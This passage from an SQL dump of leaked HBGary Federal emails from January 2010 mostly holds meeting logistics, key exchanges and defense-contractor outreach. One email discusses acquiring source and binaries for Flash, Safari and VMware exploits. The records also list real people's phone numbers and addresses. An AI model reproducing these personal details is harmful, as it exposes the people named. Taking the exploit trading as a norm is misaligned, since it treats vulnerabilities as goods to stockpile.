Inc.\r\n\r\n\r\n\r\n',2413,'aaron_hbgary_com/2413.html'),(959,'2010-01-05','\"Phil Wallisch\" <phil@hbgary.com>','/aaron@hbgary.com/new/1297000160.M607537P3547Q959.eml','\"Aaron Barr\" <aaron@hbgary.com>','Accepted: Aaron meeting after the lunch with ICE @ Wed Jan 6 1pm - 	3pm (aaron@hbgary.com)','Phil Wallisch has accepted this invitation.Aaron meeting after the lunch with ICE2010 Corporate RidgeSuite # 700McLean, Virginia 22102WhenWed Jan 6 1pm – 3pm Eastern TimeWhereTysons office space - ? (map)Calendaraaron@hbgary.comWho&#x2022;Aaron Barr - organizer&#x2022;rich@hbgary.com&#x2022;phil@hbgary.comInvitation from Google CalendarYou are receiving this email at the account aaron@hbgary.com because you are subscribed for invitation replies on calendar aaron@hbgary.com.To stop receiving these notifications, please log in to https://www.google.com/calendar/hosted/hbgary.com/ and change your notification settings for this calendar.',1788,'aaron_hbgary_com/1788.html'),(960,'2010-01-05','\"Martin Pillion\" <martin@hbgary.com>','/aaron@hbgary.com/new/1297000160.M811464P3547Q960.eml','aaron@hbgary.com','Need PGP Key','Bob asked me to send you one of our custom packages.  Can you send me\r\nyour PGP Public key so I can encrypt it and send it to you?\r\n\r\nI\'ve attached my PGP Public key for future reference\r\n\r\n- Martin\r\n',2949,'aaron_hbgary_com/2949.html'),(961,'2010-01-05','\"Conroy, Thomas W.\" <Tom.Conroy@ngc.com>','/aaron@hbgary.com/new/1297000160.M996232P3547Q961.eml','\"Aaron Barr\" <aaron@hbgary.com>,\"Aaron Barr\" <aaron@hbgary.com>','RE: Big News for NG','Lunch is a capital idea.  You know that under NGC rules I MUST buy.  I\r\nhope you can stand being hosted by your former mentor and advocate.....\r\nI will defer to Cassie for scheduling.  \r\n\r\nTom\r\n\r\n-----Original Message-----\r\nFrom: Aaron Barr [mailto:aaron@hbgary.com] \r\nSent: Tuesday, January 05, 2010 10:56 AM\r\nTo: Conroy, Thomas W.\r\nCc: Robinson, Cassie\r\nSubject: Big News for NG\r\n\r\nHappy New Year.\r\n\r\nBig surprise to see NG is moving its entire HQ to DC.  Good move.\r\n\r\nI am heading out to have lunch with Mike Toth in a few minutes, haven\'t\r\nseen him in a while.  Heading out to Colorado Springs next week to\r\nattend the AF Cybersecurity conference (and get in a little skiing).\r\nMaybe we can get together for lunch the week of the 18th?\r\n\r\nAaron Barr\r\nCEO\r\nHBGary Federal Inc.\r\n\r\n\r\n\r\n',13315,'aaron_hbgary_com/13315.html'),(962,'2010-01-05','\"Bob Slapnik\" <bob@hbgary.com>','/aaron@hbgary.com/new/1297000161.M168473P3547Q962.eml','\"Aaron Barr\" <aaron@hbgary.com>','Fort & JF','\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n \r\n\r\n \r\n  \r\n \r\n\r\n\r\n\r\n\r\n\r\n\r\nSally Longinotti / Branch Chief / 301-688-7309\r\n\r\n&nbsp;\r\n\r\nRay Nowell used to work at the Fort with Sally.&nbsp; He moved to\r\nDARPA (short term?). 703-526-4779 / ray.nowell@darpa.mil\r\n\r\n\r\n&nbsp;\r\n\r\nBob \r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\n\r\n',7633,'aaron_hbgary_com/7633.html'),(963,'2010-01-05','\"Penny Hoglund\" <penny@hbgary.com>','/aaron@hbgary.com/new/1297000161.M351531P3547Q963.eml','aaron@hbgary.com,\"Ted Vera\" <ted@hbgary.com>','RE: 2009 Billing Rates Fully Burdened','\r\n\r\n\r\n\r\n\r\n\r\n\r\nv\\:* {behavior:url(#default#VML);}\r\no\\:* {behavior:url(#default#VML);}\r\nw\\:* {behavior:url(#default#VML);}\r\n.shape {behavior:url(#default#VML);}\r\n\r\n\r\n\r\n\r\n\r\n\r\n \r\n\r\n \r\n  \r\n \r\n\r\n\r\n\r\n\r\n\r\n\r\nOK, I need the rate for corporate, it can&#8217;t vary, you can have\r\nthree levels but I would need to know\r\n\r\n&nbsp;\r\n\r\n1.&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;\r\n&nbsp;Hourly rate for malware analysis\r\n\r\n2.&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;\r\nHourly rate for on site, is there an uptick in pricing?&nbsp; Do they\r\npay travel?&nbsp; What are perimeters\r\n\r\n3.&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;\r\n&nbsp;FYI we won&#8217;t bill any engineer out at amounts listed, we&#8217;d use\r\nour own DCAA rates and give you guys a discount.&nbsp; &nbsp;In most instances these are\r\nless than half our rates\r\n\r\n&nbsp;\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\nFrom: aaron@hbgary.com\r\n[mailto:aaron@hbgary.com] \r\nSent: Tuesday, January 05, 2010 10:53 AM\r\nTo: penny@hbgary.com\r\nSubject: 2009 Billing Rates Fully Burdened\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\n\r\n \r\n  \r\n  \r\n  \r\n  \r\n  I\'ve shared 2009\r\n  Billing Rates Fully Burdened\r\n  \r\n \r\n\r\n\r\n\r\n\r\n\r\n\r\nMessage from aaron@hbgary.com: \r\n\r\nClick to open: \r\n\r\n&middot;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;\r\n2009\r\nBilling Rates Fully Burdened\r\n\r\n\r\nGoogle Docs makes it easy to create, store and share online\r\ndocuments, spreadsheets and presentations. \r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n',12903,'aaron_hbgary_com/12903.html'),(964,'2010-01-05','\"Conroy, Thomas W.\" <Tom.Conroy@ngc.com>','/aaron@hbgary.com/new/1297000161.M582408P3547Q964.eml','\"Aaron Barr\" <aaron@hbgary.com>,\"Aaron Barr\" <aaron@hbgary.com>','RE: Lunch: Aaron Barr/Tom Conroy','???\r\n\r\n-----Original Message-----\r\nFrom: Aaron Barr [mailto:aaron@hbgary.com] \r\nSent: Tuesday, January 05, 2010 2:44 PM\r\nTo: Conroy, Thomas W.\r\nSubject: Re: Lunch: Aaron Barr/Tom Conroy\r\n\r\nTysons Corner.\r\n\r\nOn Jan 5, 2010, at 2:42 PM, Conroy, Thomas W. wrote:\r\n\r\n> \r\n\r\nAaron Barr\r\nCEO\r\nHBGary Federal Inc.\r\n\r\n\r\n\r\n',13132,'aaron_hbgary_com/13132.html'),(965,'2010-01-05','\"Conroy, Thomas W.\" <Tom.Conroy@ngc.com>','/aaron@hbgary.com/new/1297000161.M754472P3547Q965.eml','\"Aaron Barr\" <aaron@hbgary.com>','Lunch: Aaron Barr/Tom Conroy','\r\n\r\n\r\n\r\n\r\nLunch: Aaron Barr/Tom Conroy\r\n\r\n\r\n\r\n\r\nWhen: Wednesday, January 27, 2010 11:30 AM-1:00 PM (GMT-05:00) Eastern Time (US &amp; Canada).\r\n\r\nWhere: McCormick and Schmicks- McLean\r\n\r\nNote: The GMT offset above does not reflect daylight saving time adjustments.\r\n\r\n*~*~*~*~*~*~*~*~*~*\r\n\r\n\r\n\r\n\r\n',9116,'aaron_hbgary_com/9116.html'),(966,'2010-01-05','\"Aaron Barr\" <aaron@hbgary.com>','/aaron@hbgary.com/new/1297000161.M928510P3547Q966.eml','\"Conroy, Thomas W.\" <Tom.Conroy@ngc.com>,\"Conroy, Thomas W.\" <Tom.Conroy@ngc.com>','Re: Lunch: Aaron Barr/Tom Conroy','That was in response to cassie asking where I was coming from.  :)\r\n\r\nI always am up for having lunch with my mentor (present tense), especially if its on NGs nickel.  ;)\r\n\r\n\r\nOn Jan 5, 2010, at 4:38 PM, Conroy, Thomas W. wrote:\r\n\r\n> ???\r\n> \r\n> -----Original Message-----\r\n> From: Aaron Barr [mailto:aaron@hbgary.com] \r\n> Sent: Tuesday, January 05, 2010 2:44 PM\r\n> To: Conroy, Thomas W.\r\n> Subject: Re: Lunch: Aaron Barr/Tom Conroy\r\n> \r\n> Tysons Corner.\r\n> \r\n> On Jan 5, 2010, at 2:42 PM, Conroy, Thomas W. wrote:\r\n> \r\n>> \r\n> \r\n> Aaron Barr\r\n> CEO\r\n> HBGary Federal Inc.\r\n> \r\n> \r\n> \r\n\r\nAaron Barr\r\nCEO\r\nHBGary Federal Inc.\r\n\r\n\r\n\r\n',2362,'aaron_hbgary_com/2362.html'),(967,'2010-01-05','\"Aaron Barr\" <aaron@hbgary.com>','/aaron@hbgary.com/new/1297000162.M126490P3547Q967.eml','\"Conroy, Thomas W.\" <Tom.Conroy@ngc.com>','Event accepted: Lunch: Aaron Barr/Tom Conroy','Aaron Barr has accepted your iCal event invitation to the event: Lunch: Aaron Barr/Tom Conroy, scheduled for January 27, 2010 at 10:30 AM (Central Standard Time).',10289,'aaron_hbgary_com/10289.html'),(968,'2010-01-05','\"Aaron Barr\" <aaron@hbgary.com>','/aaron@hbgary.com/new/1297000162.M323956P3547Q968.eml','\"Bob Slapnik\" <bob@hbgary.com>,\"Greg Hoglund\" <greg@hbgary.com>,martin@hbgary.com,\"Penny Leavy\" <penny@hbgary.com>,\"Ted Vera\" <ted@hbgary.com>,\"Phil Wallisch\" <phil@hbgary.com>,\"Rich Cummings\" <rich@hbgary.com>','GPG Pub Key','\r\n',14682,'aaron_hbgary_com/14682.html'),(969,'2010-01-05','\"Martin Pillion\" <martin@hbgary.com>','/aaron@hbgary.com/new/1297000164.M975727P3547Q969.eml','\"Aaron Barr\" <aaron@hbgary.com>','Package','It is titled RedMouse (random name).  See packaged text files for\r\ndescriptions/instructions.  Note that it includes source code and we may\r\nwant an NDA before disclosing it.\r\n\r\n- Martin\r\n',2566,'aaron_hbgary_com/2566.html'),(970,'2010-01-05','\"MB Toth\" <mbt.rbtoth@starpower.net>','/aaron@hbgary.com/new/1297000165.M328190P3547Q970.eml','\"Aaron Barr\" <aaron@hbgary.com>,adbarr@me.com,\"Ted Vera\" <tedvera@me.com>','Re: Invitation: Lunch with mike @ Tue Jan 5 11:30am - 12:30pm 	(mbt.rbtoth@starpower.net)','\r\n\r\n\r\n  \r\n\r\n\r\nAaron,\r\n\r\n    Great lunch, thanks!  Look forward to working with you and Ted in\r\nthe year ahead.  \r\n\r\n    Per discussion, might get on the mailing list for\r\nNCSI In-Agency\r\nTechnology Expos, which includes key IC customers.  They also host\r\nthe big DoDIIS Worldwide Conference, this year 23-27 May 2010,\r\nin Phoenix, AZ, which is well worth attending for the networking.\r\n\r\n    Registration on the NRO Acquisition Research Center (ARC) is a first step to bidding\r\non many IC contracts.  HP Gary can be registered in the Contractor\r\nRegistry, which is used by contractors to search for subs.  If you look\r\ndown the left side, you will see what access is provided with\r\nregistration.  As we discussed, I can fill out the registration for HP\r\nGary (with you as POC) if you wish.  And on the other side of the\r\nriver, similar is true for the NSA ARC.\r\n\r\n    Enjoy your travels to Colorado, hopefully in good weather,\r\n\r\n        Mike\r\n\r\n\r\n\r\nOn 1/4/2010 11:18 AM, Aaron Barr wrote:\r\n\r\n  \r\n  \r\n    \r\n      \r\n        \r\n        \r\n        \r\n        more details »\r\n        \r\n        Lunch\r\nwith mike\r\n        \r\n          \r\n            \r\n              \r\n              When\r\n              \r\n              Tue Jan 5 11:30am – 12:30pm Eastern Time\r\n            \r\n            \r\n              \r\n              Where\r\n              \r\n              La Madeline (map)\r\n            \r\n            \r\n              \r\n              Calendar\r\n              \r\n              mbt.rbtoth@starpower.net\r\n            \r\n            \r\n              \r\n              Who\r\n              \r\n              \r\n              \r\n                \r\n                  \r\n                    •\r\n                    \r\n                    \r\n                    Aaron Barr - organizer\r\n                    \r\n                    \r\n                  \r\n                  \r\n                    •\r\n                    \r\n                    \r\n                    mbt.rbtoth@starpower.net\r\n                    \r\n                    \r\n                  \r\n                \r\n              \r\n              \r\n            \r\n          \r\n        \r\n        \r\n        Going?   Yes - Maybe - No    more options »\r\n        \r\n      \r\n      \r\n        \r\n        Invitation from Google\r\nCalendar\r\n        You are receiving this courtesy email at the account\r\nmbt.rbtoth@starpower.net because you are an attendee of this event.\r\n        To stop receiving future notifications for this event,\r\ndecline this event. Alternatively you can sign up for a Google account\r\nat https://www.google.com/calendar/ and control your notification\r\nsettings for your entire calendar.\r\n        \r\n      \r\n    \r\n  \r\n  \r\n\r\n\r\n\r\n\r\n',1828,'aaron_hbgary_com/1828.html'),(971,'2010-01-06','\"Aaron Barr\" <aaron@hbgary.com>','/aaron@hbgary.com/new/1297000166.M188684P3547Q971.eml','\"Martin Pillion\" <martin@hbgary.com>','Re: Package','Thanks Martin.  We have an NDA in place and I will be providing some\r\nadditional direction on use for the demos.\r\n\r\nAaron\r\n\r\n From my iPhone\r\n\r\nOn Jan 5, 2010, at 5:21 PM, Martin Pillion  wrote:\r\n\r\n> It is titled RedMouse (random name).  See packaged text files for\r\n> descriptions/instructions.  Note that it includes source code and we\r\n> may\r\n> want an NDA before disclosing it.\r\n>\r\n> - Martin\r\n> \r\n',3584,'aaron_hbgary_com/3584.html'),(972,'2010-01-06','\"Aaron Barr\" <aaron@hbgary.com>','/aaron@hbgary.com/new/1297000166.M379209P3547Q972.eml','\"Brian Masterson\" <Brian.Masterson@ngc.com>','Stuff','Ok I have the source and binaries for the flash exploit, safari\r\nexploit, and vmware.  Getting a JavaScript one.  Note on the vmware\r\nwax server exploit it\'s powerful but extremely simple.  The win2k3\r\ncomes from a new source and at theoment he doesn\'t trust us enough to\r\ngive us code before payment.  The safari one has already been\r\npurchased under a non exclusive agreement by one of your customers, at\r\nleast the larger cuatomer.\r\n\r\nLet\'s talk the next time u get a chance... Baby and all.\r\n\r\nAaron\r\n\r\n From my iPhone\r\n',15553,'aaron_hbgary_com/15553.html'),(973,'2010-01-06','\"Aaron Barr\" <aaron@hbgary.com>','/aaron@hbgary.com/new/1297000166.M637706P3547Q973.eml','martin@hbgary.com','New Key','-----BEGIN PGP SIGNED MESSAGE-----\r\nHash: SHA1\r\n\r\nKey issues.  Please resend using new key.\r\n\r\nAaron\r\n-----BEGIN PGP SIGNATURE-----\r\nVersion: GnuPG v1.4.9 (Darwin)\r\nComment: Using GnuPG with Mozilla - http://enigmail.mozdev.org/\r\n\r\niEYEARECAAYFAktD+OsACgkQcgrGwmHyPf9FgwCdHICvMkjTgbl1Bg5gMH2ucW/v\r\nGcoAn0xL86AseoCh4Aldrf6DPYu84FJl\r\n=xDd8\r\n-----END PGP SIGNATURE-----\r\n\r\n',7122,'aaron_hbgary_com/7122.html'),(974,'2010-01-06','\"Aaron Barr\" <aaron@hbgary.com>','/aaron@hbgary.com/new/1297000167.M101090P3547Q974.eml','\"Greg Hoglund\" <greg@hbgary.com>,\"Phil Wallisch\" <phil@hbgary.com>,\"Rich Cummings\" <rich@hbgary.com>,\"Bob Slapnik\" <bob@hbgary.com>,\"Ted Vera\" <ted@hbgary.com>,\"Penny Leavy\" <penny@hbgary.com>,martin@hbgary.com','Key Issues','-----BEGIN PGP SIGNED MESSAGE-----\r\nHash: SHA1\r\n\r\nPlease ignore my earlier blast and use the attached Pub key.\r\n\r\nThanks,\r\nAaron\r\n-----BEGIN PGP SIGNATURE-----\r\nVersion: GnuPG v1.4.9 (Darwin)\r\nComment: Using GnuPG with Mozilla - http://enigmail.mozdev.org/\r\n\r\niEYEARECAAYFAktD+VEACgkQcgrGwmHyPf+MfwCgwqwq6/Z+eiddgXwIRN62Zisc\r\nUDYAnA8h+yCyfaP5+7njlfTyitYOatVa\r\n=CiGS\r\n-----END PGP SIGNATURE-----\r\n\r\n',3802,'aaron_hbgary_com/3802.html'),(975,'2010-01-06','\"Nieves, Alexander\" <Alexander.Nieves@ManTech.com>','/aaron@hbgary.com/new/1297000167.M296211P3547Q975.eml','\"Aaron Barr\" <aaron@hbgary.com>','Accepted: Invitation: Mantech - Alex (Lunch) @ Wed Jan 6 10:30am - 12:30pm (alexander.nieves@mantech.com)','',12497,'aaron_hbgary_com/12497.html'),(976,'2010-01-06','\"Aaron Barr\" <aaron@hbgary.com>','/aaron@hbgary.com/new/1297000167.M495342P3547Q976.eml','\"Robert Brammer\" <robert.brammer@ngc.com>,\"Robert Brammer\" <robert.brammer@ngc.com>,','Introduction in New Role','Hi Bob,\r\n\r\nHappy New Year.\r\n\r\nI am settling in to my new role as CEO of HBGary Federal, very different than previous roles I have had but at this time it seems to fit me.  When you have some time I would like to set up a meeting with Myself and HBGary\'s CTO, Rich Cummings, to talk about some of HBGary\'s capabilities.  I chose this company because they have some technology that I think will play a role in the nations cyber defense.  Our Digital DNA identifies malware based on behaviors and traits and is 75% effective in identifying zero day threats, it feeds our Global Malware Genome which is currently a database of 3500 identified traits.  Our foundational product, Responder, is probably the best malware analysis and forensics tool on the market.  Symantec and Mcafee have integrated DDNA into their offerings.  Our products are also integrated into many existing Fortune 500 and Government organizations.\r\n\r\nTo better define our organizations.  I am the CEO of HBGary Federal which runs the services part of our business.  Greg Hoglund is the founder and CEO of HBGary which is focused on product development.\r\n\r\nMaybe we could get on the SSWG schedule?\r\n\r\nRespectfully,\r\nAaron Barr\r\nCEO\r\nHBGary Federal Inc.\r\n\r\n\r\n\r\n',9057,'aaron_hbgary_com/9057.html'),(977,'2010-01-06','\"Aaron Barr\" <aaron@hbgary.com>','/aaron@hbgary.com/new/1297000167.M674696P3547Q977.eml','\"Ted Vera\" <ted@hbgary.com>','Requisitions','Job summaryHBGary Federals mission is to provide the best Cybersecurity and Information Operations specialists, and threat and malware analysts to assist our customers in advancing the nations capabilities in securing cyberspace and combating the advancing cyber threats.&nbsp; Our focus is on bringing together creative technical talent, experienced threat and intelligence analysts, and mission and cultural experts to develop unconventional and innovative cybersecurity capabilities.&nbsp; As a core strength HBGary Federal leverages HBGary’s best in class incident response and malware analysis tools and brings extensive experience in information operations and cybersecurity at the national level.HBGary Federal is looking for an experienced, talented, and innovative malware analystWhat do you think?\r\nAaron BarrCEOHBGary Federal Inc.\r\n\r\n',11254,'aaron_hbgary_com/11254.html'),(978,'2010-01-06','\"HQ Meeting Room Reservations\" <kendra.benton@regus.com>','/aaron@hbgary.com/new/1297000168.M125729P3547Q978.eml','aaron@hbgary.com','HQ Meeting Room Confirmed Booking 8303075','\r\n			.Wrapper {width:600px;padding:3px;font-family:Tahoma;font-size:10pt}\r\n			.Heading {width:100%;background-color:#E0E0E0;color:#000000;font-weight:bold;padding:3px}\r\n			.Held {font-weight: bold;text-align:center}\r\n			.InvoiceFooter {font-weight: bold;text-align:center}\r\n\r\n			TABLE {border-collapse:collapse; font-size:10pt}\r\n			TABLE TD, TABLE TH {font-size:10pt}\r\n			TABLE TD {font-weight:normal}\r\n			TABLE TH {font-weight:bold;text-align:left}\r\n\r\n			TH, TD {padding:1px}\r\n			.TblD TD {width: 160px}\r\n\r\n			.TblS {width:98%}\r\n			.TblS TH {font-weight:bold}\r\n			.TblS TR.Hdr TD, .TblS TR.TTl TD {white-space:nowrap;font-weight:bold}\r\n			.TblS TD {font-weight:normal;vertical-align:top}\r\n			.TblS TR.GT TH {font-size: 120%}\r\n			.TblS TD, .TblS.TH {border:1px solid #C0C0C0;padding:3px}\r\n			.TblS TR.TTl TD {border-width:1px 0px 0px 0px}\r\n			ul {list-style-image:none;margin:0px}\r\n			ul li {font-size:8pt;list-style-image:disc;margin-left:32px}\r\n			ul li.Hdr {list-style-image:none;margin:0px}\r\n\r\n			div.RS , div.RE {border-color:#C0C0C0;border-style:solid;width:100%;height:3px;font-size:1px;margin:6px 0px 6px 0px}\r\n			div.RS {border-width: 1px 1px 0px 1px}\r\n			div.RE {border-width: 0px 1px 1px 1px}\r\n\r\n			div.Indent{padding: 0px 6px 0px 6px}\r\n\r\n			.Notes {font-size:8pt;font-style:italic;}\r\n		Thank you for confirming your booking with HQ. We are delighted to have the opportunity to help. Please find below your booking details.Confirmed Booking SummaryREFERENCE:\r\n				8303075Center:\r\n				VA, McLean - Corporate Ridge (HQ)Client:\r\n				HB GaryMeeting Room Details Start Date:\r\n						Wednesday, January 06, 2010Start Time:\r\n						1:00 PMEnd Date:\r\n						Wednesday, January 06, 2010End Time:\r\n						3:00 PMDelegates:\r\n						1Room Layout:\r\n							BoardroomWe are pleased to provide further information on the following services as requested:\r\n					QtyServiceRatePrice1Meeting Room (Room Rate)Includes 10.00% Discount$88.20$88.20TOTAL$88.20 Due to limited availability, and as a courtesy to other customers, we ask that you notify us if you no longer require the booking on the requested dates.* Please Note - prices do not include local tax. The price quoted excludes any prepayment.Please use the following details to contact us:\r\n		Booker:\r\n					Kendra BentonPhone:\r\n				001 877-734-8787Email:\r\n				americas.reservations@regus.comFax:\r\n				001 214-295-3171HQ Location DetailsCenter:\r\n				VA, McLean - Corporate Ridge (HQ)Address:\r\n				2010 Corporate RidgeMcLeanVirginia22102United States of AmericaClick here for a mapPhone703 749 7700Fax703 749 7719EmailMcLean.ExecutivePlaza@regus.comYour Company DetailsClient:\r\n				HB GaryContact Name:\r\n				 Aaron BarrContact Tel:\r\n				719-510-8478Contact Email:\r\n				aaron@hbgary.comAddress:\r\n				3941 Park Dr #20-305EDH95762United States of AmericaYou have selected to pay by Payment Card.Disclaimer: Meeting room bookings which overrun or have delegates added at the point of Check In will have all additional charges calculated at the clients standard hourly rate.Thank you for contacting HQ. We look forward to welcoming you soon.The information in this email is confidential and may also be privileged. If you are not the intended recipient please notify us immediately.Please review the terms and conditions for HQ Global Workplaces, LLC ',15551,'aaron_hbgary_com/15551.html'),(979,'2010-01-06','\"Aaron Barr\" <aaron@hbgary.com>','/aaron@hbgary.com/new/1297000168.M296463P3547Q979.eml','mfox04@harris.com','Meeting tomorrow','Hi Mike,\r\n\r\nAre we on for tomorrow?\r\n\r\nAaron\r\n\r\n From my iPhone\r\n',16118,'aaron_hbgary_com/16118.html'),(980,'2010-01-06','\"Google Calendar\" <calendar-notification@google.com>','/aaron@hbgary.com/new/1297000168.M476243P3547Q980.eml','\"Aaron Barr\" <aaron@hbgary.com>','Reminder: Mantech - Alex (Lunch) @ Wed Jan 6 10:30am - 12:30pm 	(aaron@hbgary.com)',' more details &raquo;Mantech - Alex (Lunch)WhenWed Jan 6 10:30am – 12:30pm Eastern TimeCalendaraaron@hbgary.comWho&#x2022;Aaron Barr - organizer&#x2022;alexander.nieves@mantech.comGoing?&nbsp;&nbsp;&nbsp;Yes - Maybe - No&nbsp;&nbsp;&nbsp;&nbsp;more options &raquo;Invitation from Google CalendarYou are receiving this email at the account aaron@hbgary.com because you are subscribed for reminders on calendar aaron@hbgary.com.To stop receiving these notifications, please log in to https://www.google.com/calendar/hosted/hbgary.com/ and change your notification settings for this calendar.',8287,'aaron_hbgary_com/8287.html'),(981,'2010-01-06','\"Bob Slapnik\" <bob@hbgary.com>','/aaron@hbgary.com/new/1297000168.M646872P3547Q981.eml','\"Aaron Barr\" <aaron@hbgary.com>','Meeting with Harris?','\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n \r\n\r\n \r\n  \r\n \r\n\r\n\r\n\r\n\r\n\r\n\r\nAaron,\r\n\r\n&nbsp;\r\n\r\nIs there a meeting with Harris at 1pm tomorrow?&nbsp; If yes,\r\nwhere is it?&nbsp; What do I need to prepare for?\r\n\r\n&nbsp;\r\n\r\nBob \r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\n\r\n',9953,'aaron_hbgary_com/9953.html'),(982,'2010-01-06','\"Martin Pillion\" <martin@hbgary.com>','/aaron@hbgary.com/new/1297000171.M752767P3547Q982.eml','\"Aaron Barr\" <aaron@hbgary.com>','Package RESEND - Re: Key Issues','\r\nRe encrypted to your new key.\r\n\r\n- Martin\r\n\r\nAaron Barr wrote:\r\n> Please ignore my earlier blast and use the attached Pub key.\r\n>\r\n> Thanks,\r\n> Aaron\r\n\r\n',2551,'aaron_hbgary_com/2551.html'),(983,'2010-01-06','\"Fox, Michael (mfox04)\" <mfox04@harris.com>','/aaron@hbgary.com/new/1297000171.M957247P3547Q983.eml','\"Aaron Barr\" <aaron@hbgary.com>,\"Aaron Barr\" <aaron@hbgary.com>','RE: Meeting tomorrow','I\'m a tentative yes. Vickie was checking on one more person from our end. If he attends or not could influence what we do. \r\n\r\nMike Fox\r\nW 703-961-9456 x142 \r\nC 703-338-9434\r\nmfox@crucialsecurity.com\r\nmfox04@harris.com\r\n\r\n\r\n-----Original Message-----\r\nFrom: Aaron Barr [mailto:aaron@hbgary.com] \r\nSent: Wednesday, January 06, 2010 10:06 AM\r\nTo: Fox, Michael (mfox04)\r\nSubject: Meeting tomorrow\r\n\r\n\r\nHi Mike,\r\n\r\nAre we on for tomorrow?\r\n\r\nAaron\r\n\r\n From my iPhone\r\n',11103,'aaron_hbgary_com/11103.html'),(984,'2010-01-06','\"Brammer, Robert F.\" <robert.brammer@ngc.com>','/aaron@hbgary.com/new/1297000172.M139450P3547Q984.eml','\"Aaron Barr\" <aaron@hbgary.com>,\"Aaron Barr\" <aaron@hbgary.com>,,','RE: Introduction in New Role','Aaron,\r\n\r\nHappy New Year.  Sounds like you are enjoying your new position.\r\n\r\nLet\'s schedule a phone call to discuss your company.  I am not at all\r\nfamiliar with HBGary.  How about Wednesday, the 13th, at 9AM?\r\n\r\nBob\r\n\r\n\r\nRobert F. Brammer, Ph.D. \r\nVP, Advanced Technology, and CTO \r\nNorthrop Grumman Information Systems \r\n12011 Sunset Hills Road \r\nReston, VA \r\n20190 \r\n703-345-8716 \r\nRobert.Brammer@ngc.com \r\n\r\n-----Original Message-----\r\nFrom: Aaron Barr [mailto:aaron@hbgary.com] \r\nSent: Wednesday, January 06, 2010 9:25 AM\r\nTo: Brammer, Robert F.\r\nCc: Conoval, Paul (IS); Ted Vera\r\nSubject: Introduction in New Role\r\n\r\nHi Bob,\r\n\r\nHappy New Year.\r\n\r\nI am settling in to my new role as CEO of HBGary Federal, very different\r\nthan previous roles I have had but at this time it seems to fit me.\r\nWhen you have some time I would like to set up a meeting with Myself and\r\nHBGary\'s CTO, Rich Cummings, to talk about some of HBGary\'s\r\ncapabilities.  I chose this company because they have some technology\r\nthat I think will play a role in the nations cyber defense.  Our Digital\r\nDNA identifies malware based on behaviors and traits and is 75%\r\neffective in identifying zero day threats, it feeds our Global Malware\r\nGenome which is currently a database of 3500 identified traits.  Our\r\nfoundational product, Responder, is probably the best malware analysis\r\nand forensics tool on the market.  Symantec and Mcafee have integrated\r\nDDNA into their offerings.  Our products are also integrated into many\r\nexisting Fortune 500 and Government organizations.\r\n\r\nTo better define our organizations.  I am the CEO of HBGary Federal\r\nwhich runs the services part of our business.  Greg Hoglund is the\r\nfounder and CEO of HBGary which is focused on product development.\r\n\r\nMaybe we could get on the SSWG schedule?\r\n\r\nRespectfully,\r\nAaron Barr\r\nCEO\r\nHBGary Federal Inc.\r\n\r\n\r\n\r\n',13176,'aaron_hbgary_com/13176.html'),(985,'2010-01-06','\"MB Toth\" <mbt.rbtoth@starpower.net>','/aaron@hbgary.com/new/1297000172.M359644P3547Q985.eml','\"Aaron Barr\" <aaron@hbgary.com>,\"Aaron Barr\" <aaron@hbgary.com>,','More Conferences','\r\n\r\n\r\n  \r\n\r\n\r\nAaron,\r\n\r\n    As you plan your outreach in your new position, here\'s a list of\r\npending conference in which you may be interested:\r\n\r\n\r\n\r\n\r\n\r\n\r\n \r\n  Normal\r\n  0\r\n  \r\n  \r\n  false\r\n  false\r\n  false\r\n  \r\n   \r\n   \r\n   \r\n   \r\n   \r\n  \r\n  MicrosoftInternetExplorer4\r\n \r\n\r\n \r\n \r\n\r\n\r\nst1\\:*{behavior:url(#ieooui) }\r\n\r\n\r\n\r\n\r\n\r\n\r\n /* Style Definitions */\r\n table.MsoNormalTable\r\n	{mso-style-name:\"Table Normal\";\r\n	mso-tstyle-rowband-size:0;\r\n	mso-tstyle-colband-size:0;\r\n	mso-style-noshow:yes;\r\n	mso-style-parent:\"\";\r\n	mso-padding-alt:0in 5.4pt 0in 5.4pt;\r\n	mso-para-margin:0in;\r\n	mso-para-margin-bottom:.0001pt;\r\n	mso-pagination:widow-orphan;\r\n	font-size:10.0pt;\r\n	font-family:\"Times New Roman\";\r\n	mso-ansi-language:#0400;\r\n	mso-fareast-language:#0400;\r\n	mso-bidi-language:#0400;}\r\n\r\n\r\nDoD Cyber Crime Conference 2010\r\nSt. Louis, Missouri\r\n22-29 January 2010\r\n \r\nAFCEA West 2010\r\nSan Diego, California\r\n2-4 February 2010\r\n \r\nUSEUCOM Intelligence Summit and Technology Exposition\r\nHeidelberg, Germany\r\n15-17 February 2010\r\n \r\nSatellite 2010 Conference\r\nGaylord National Convention Center\r\nNational Harbor, Maryland\r\n15-18 March 2010\r\n \r\nNGA Industry Day 2010 (Classified – Secret)\r\nHeritage Conference Center\r\nChantilly, Virginia\r\n1 April 2010\r\n \r\nAFCEA Spring Intelligence Symposium (Classified–TS\r\nSI/TK)\r\nDefense Intelligence Analysis Center (DIAC)\r\n21-22 April 2010\r\nBolling Air Force Base\r\nWashington, D.C.\r\n \r\n4th Annual Border Security Expo\r\nPhoenix Convention Center\r\n28-29 April 2010\r\nPhoenix, Arizona\r\n \r\nDoDIIS Worldwide\r\nPhoenix, Arizonia\r\n23-27 May 2010\r\n\r\n\r\n            Mike\r\n\r\nOn 1/5/2010 5:34 PM, MB Toth wrote:\r\n\r\n  \r\nAaron,\r\n  \r\n    Great lunch, thanks!  Look forward to working with you and Ted in\r\nthe year ahead.  \r\n  \r\n    Per discussion, might get on the mailing list for\r\nNCSI In-Agency\r\nTechnology Expos, which includes key IC customers.  They also host\r\nthe big DoDIIS Worldwide Conference, this year 23-27 May 2010,\r\nin\r\nPhoenix, AZ, which is well worth attending for the networking.\r\n  \r\n    Registration on the NRO Acquisition Research Center (ARC) is\r\na first step to bidding\r\non many IC contracts.  HP Gary can be 